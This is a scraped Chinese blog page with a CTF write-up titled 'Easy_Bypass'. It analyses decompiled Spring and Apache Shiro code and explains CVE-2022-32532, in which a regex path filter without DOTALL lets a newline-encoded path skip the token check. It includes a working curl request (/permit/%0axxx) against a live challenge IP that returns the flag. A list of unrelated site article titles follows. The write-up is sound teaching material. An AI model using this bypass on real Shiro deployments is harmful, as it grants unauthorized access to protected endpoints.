当前位置: 首页 > news >正文

[2026dasctf]Easy_Bypass

用JADX反编译后找com.example之类

Easy_Bypass(WriteUp)

源码分析

1. DemoController —— 暴露接口

@RestController public class DemoController { @RequestMapping(path = {"/permit/{value}"}) public String permit(@PathVariable String value) { System.out.println("success!"); return "DASCTF{FAKE_FLAG}"; // 假 Flag,仅作占位 } }
  • 路由:/permit/{value},其中{value}为路径变量。
  • 返回字符串即为响应体(含 Flag 字段)。

2. MyFilter —— 自定义鉴权过滤器

public class MyFilter extends AccessControlFilter { public MyFilter() { this.pathMatcher = new RegExPatternMatcher(); // 关键:使用正则匹配器 } protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) { String token = ((HttpServletRequest) request).getHeader("Token"); return token != null && token.equals("FAKE_TOKEN"); } protected boolean onAccessDenied(ServletRequest request, ServletResponse response) { response.getWriter().println("access denied"); return false; } }
  • 要求请求头Token: FAKE_TOKEN才能放行。
  • 不满足则返回access denied

3. MyShiroFilterFactoryBean —— 过滤链配置

protected AbstractShiroFilter createInstance() { FilterChainManager manager = new DefaultFilterChainManager(); manager.addFilter("myFilter", new MyFilter()); manager.addToChain("/permit/.*", "myFilter"); // 关键正则 PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver(); chainResolver.setFilterChainManager(manager); chainResolver.setPathMatcher(new RegExPatternMatcher()); return new SpringShiroFilter(...); }
  • /permit/.*这条正则链绑定到myFilter
  • RegExPatternMatcher+.(点号)+ 未启用Pattern.DOTALL​ → 触发 CVE-2022-32532。

三、漏洞原理(CVE-2022-32532)

Apache Shiro < 1.9.1 在使用RegExPatternMatcher时,Pattern.compile(pattern)默认未添加Pattern.DOTALL​ 标志,导致正则中的.不匹配换行符\n(\x0a)/\r(\x0d)

攻击链路:

请求 URL: /permit/%0axxx ↓ URL 解码 实际路径: /permit/\nxxx
组件对路径的处理结果
ShiroRegExPatternMatcher/permit/.*匹配/permit/\nxxx.不匹配\n正则匹配失败​ → 该请求不匹配/permit/.*过滤链​ →MyFilter不被执行
Spring MVC 路由/permit/{value}正常解析路径变量{value}=%0axxx请求直接到达DemoController.permit()

最终效果:绕过 Token 校验,直接调用 Controller 拿到真实 Flag

┌──(root㉿QDLQSS)-[/mnt/c/Users/QSS/Downloads/28b64ef783f7fefbeb92ec7892fcfe7c/tempdir/PWN附件/Regular_apples] └─# curl -s "http://45.40.247.139:24414/permit/%0axxx" DASCTF{anEasy_CVE_Test}[ble: EOF]
http://www.jsqmd.com/news/1401994/

相关文章:

  • 2026 年至今,聊城热门的奥尔良琵琶腿品牌哪个好,花10块钱买这玩意儿,比外卖还香? - 企业信息推荐-2
  • Vibe Coding 实战指南:构建 AI 辅助开发工作流,提升编程效率
  • 2026年阻燃硅胶制品源头供应商实力观察:耐高温防火硅胶条、阻燃硅胶管、阻燃硅胶垫片生产工厂优选参考 - 卓企推荐
  • Python编程练习平台全攻略:从新手到高手的9个实战网站
  • 2026年电动开窗器行业实力厂家推荐:广受信赖的制造企业全景分析 - mypinpai
  • react navite图片加载优化、大图卡顿、缓存策略
  • Git安装配置全指南:从入门到实战
  • 模块化与AI增强的英语学习系统设计与实践
  • 7天挑战项目:高效学习与习惯养成实践指南
  • 极空间NAS部署Ubuntu桌面:打造高性能虚拟化生产力环境
  • STUN服务器搭建与Spring Bean序列化控制实战
  • PyCharm从零到一:安装配置、核心功能与高效开发指南
  • 2026四大一键生成论文工具深度横评|根据论文阶段选工具,事半功倍
  • OpenSSH 10.5安全升级指南:修复关键漏洞与应对新发布策略
  • [开发工具] MCU只写寄存器为什么代码里还能读?新手都容易踩的坑,终于讲清楚了
  • HTML5语义化标签与文档结构详解:从基础到最佳实践
  • 美团钱袋宝:拿下了长期牌照,却没守住合规底线
  • Cursor集成Grok 4.6:AI编程助手从代码补全到项目协作者的进化
  • 2507双相钢现货分销商与S32750优质经销商观察 - 2027品牌AI展
  • 2026大板茶桌实力测评,所见即所得不踩雷 - mypinpai
  • 360CDN SDK游戏盾:DDoS防护核心技术解析与实战
  • 2026 年 8 月新发布:石嘴山可靠的承插式涂塑钢管公司哪家好,埋地管线总漏?这玩意儿竟能把渗漏率降到近乎为零!-浩伦管道 - 行业推荐官-2
  • CSS自适应布局实战:Flexbox与Grid解决方案
  • 2026年北京空调维修选简单到家,这些优势你必须知道 - 简单到家
  • 广东东莞带挂钩方便吊装的玻璃工艺品铜槽生产厂家用户力荐 - 工业推荐榜
  • Windows下MinGW安装配置全攻略:从MSYS2到环境变量与VSCode集成
  • 国内下载 HuggingFace 模型太慢?自适应并发 + 动态连接管理,让 1000Mbps 带宽跑满 500Mbps
  • Ubuntu系统卡顿深度排查与优化指南:从图形驱动到系统资源管理
  • 一天一道算法题(11):旋转数组的思路与实现解析
  • 从工具到思维:Kali Linux渗透测试实战工作流深度解析